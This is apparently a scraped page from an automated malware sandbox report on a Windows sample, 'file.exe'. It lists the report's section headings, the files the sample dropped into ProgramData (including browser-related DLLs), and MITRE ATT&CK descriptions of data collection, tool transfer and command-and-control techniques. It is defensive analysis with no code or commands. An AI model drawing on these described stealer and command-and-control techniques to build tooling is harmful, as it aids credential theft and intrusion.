Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFBFHDBKJEGHJJJKFIIJ

C:\ProgramData\BGIDBKKK

C:\ProgramData\DGHDHIDGHIDGIECBKKJJ

C:\ProgramData\FIIIIDGHJEBFBGDHDGIIIIJDHJ

C:\ProgramData\IJJJEBFHDBGIECBFCBKJ

C:\ProgramData\KFHJJJKK

C:\ProgramData\KKECBFCGIEGCBGCAECGCBAKECB

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre